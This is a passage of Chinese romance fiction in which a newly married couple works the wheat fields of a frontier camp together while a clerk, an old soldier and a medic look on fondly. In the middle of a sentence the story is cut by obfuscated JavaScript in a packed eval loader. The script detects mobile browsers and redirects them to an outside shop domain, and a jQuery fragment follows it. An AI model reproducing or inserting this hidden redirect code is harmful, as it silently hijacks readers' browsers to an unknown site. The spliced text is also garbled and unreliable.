新帐比陈穗原来那间大一些。朝东开了一扇窗，窗框是用红柳枝扎的，上面蒙了一层透光的薄麻布。每天清晨日光会先一步从窗纸透进来，在枕边的地面上铺一片暖融融的淡金色。她成婚之后醒得比平时早一些，有时候睁眼的时候日光还没完全透进来，窗纸外面是灰蓝色的天光，隐约能听到早起的鸟在叫。但她再也不是一个人翻身坐起来套靴子出门了。
她醒的时候他通常已经不在枕边了。但枕头上还留着压过的痕迹，微微凹陷的轮廓像是刚起身不久。桌案上放着一只倒扣的碗，她掀开来看，碗底温着一碗热水，刚好入口的温度。她端着碗喝完，把碗放回原处，掀帘出去。铁锹靠在外墙最顺手的位置，刃口是干净的，像被人擦过。田埂上已经有了一道朝水车方向去的脚印，靴印均匀，每一步间距相等，沿着渠边一直延伸到水车那边去了。她拎着铁锹沿那道脚印走过去的时候，他已经把水车的挡板打开了。水流正从渠口涌出来，哗哗地灌进新修的那段渠道里，他站在渠边弯腰看着水流的走向，听见她的脚步声直起腰来看了她一眼：“南面的水够用了，今天浇北面那片。”
两人从水车开始，沿着北面那片地的田埂一垄一垄地走过去。他走在她旁边，步调一致。经过一株被夜风压弯了的麦苗时她蹲下去扶正了，他也蹲下来帮她压了一下根部的土。两人的手在土面上碰到了同一个位置，指腹交错了一下，然后她收回去继续往前走。他站起来跟着走，两人经过渠道、经过水车、经过新翻的那片坡地，日光升得更高了，把整片麦田照得亮堂堂的。走到田埂尽头的时候她停下来，他站在她旁边，两人肩并着肩看着面前的麦田。
过去并肩走的时候总是隔着一点距离，碰了手之后各自收回去假装没有发生。现在不一样了——她伸手碰了一下他的手背，他没有躲。她顺势把他手背整个覆住了，握了一下，然后松开继续往前走。他走在她旁边，多看了她一眼，然后也收回了目光继续往前走。她在他多看她一眼的时候感觉到了那道目光的分量，她没有抬头，但她的步子比刚才轻了一点点。
文吏远远跟在后面。他今天带了账本，本来是要记当天的巡田数据的。但他跟了大约半程之后就停了下来，站在田埂上看着前面两道并肩走的背影——两人之间的距离比从前近了一些，步伐的频率完全同步，偶尔会看到那个稍微矮一些的肩膀往旁边靠一下，碰一下旁边那人的肩臂又分开，然后继续走。文吏看了片刻之后低头翻开账本，在“同巡田”那一列后面画了一笔正字。画完之后他想了想，在旁边新开了一列，标题写了三个字：“同耕田”。他在第一行下面画了一笔，然后合上账本，没有继续跟，转身往回走了。
木棍老兵最近走得比以前慢了一些。他的背比去年弯了一点点，拄木棍的那只手偶尔会换一下。但那天下午他在田埂上看到两人并肩在地里翻土的时候，他停下来看了一会儿，然后慢慢直了一下腰。他在原地站着看完了两人翻完一整排垄沟，日光把他们肩并肩的影子投在刚翻过的土面上，边缘贴在一起，像两株被同一阵风同时吹弯又同时弹起来的麦子。老兵拄着木棍看了一会儿，笑了一下，然后转身走了。
灰袍军医的药田今年开了一片新花。他采了一束浅紫色的小花放在两人帐门口的石台上，花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920816|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瓣上还带着露水。陈穗收工回来看到那束花的时候弯腰拿起来闻了闻，没有花香，只有草叶的青涩气味，但她还是把它带回帐里插在窗口的缝隙里了。那一束浅紫色的小花在窗台上待了好几天，直到花瓣边缘开始变干卷曲才被换掉。第三天换成了一束白色的小花，第四天是浅蓝色的。药田里大概开了什么颜色，军医就采什么颜色放过来，没有规律，但每天都有一束新的。她从不问他为什么放，他也不说，只是在隔几天之后把晒干的旧花收进一只布袋里攒着。
有一天傍晚两人收工之后没有立刻回营地。她坐在田埂边上，他坐在她旁边。她把头靠在他肩上，手搭在他手心里。他握着她的手搁在膝盖上。麦田在暮色里安静地伏着，穗头在风里轻轻摇动。远处水车还在转着，吱呀吱呀的声响均匀而持续。她靠在他肩上看着面前那片麦田开口说了一句话：“这样的日子我可以过很多年。”他坐在她旁边，握着她手的手指微微紧了一下，然后他的声音从她头顶上方落下来：“那就过很多年。”她在他肩头弯了一下嘴角，合上了眼，没有再说话。
暮色从两人身后慢慢合拢来，把并肩坐着的身影收进同一片暖橙色的光里，麦浪还在面前一层一层地涌着。营地里有人开始点灯了，一盏接一盏的暖光从各个帐帘缝隙里渗出来，在暮色里连成一片细密的星点。她靠在他肩上闭着眼听完了一整首麦浪和晚风合奏的曲子，然后她慢慢直起身来，拉着他的手说走吧回家吃饭了。他站起来，握紧她的手，两人并肩往营地的方向走。夜色在他们身后合拢，把麦田收进了安静之中，而前方灯火正亮着，一盏一盏地照着通往营地的路。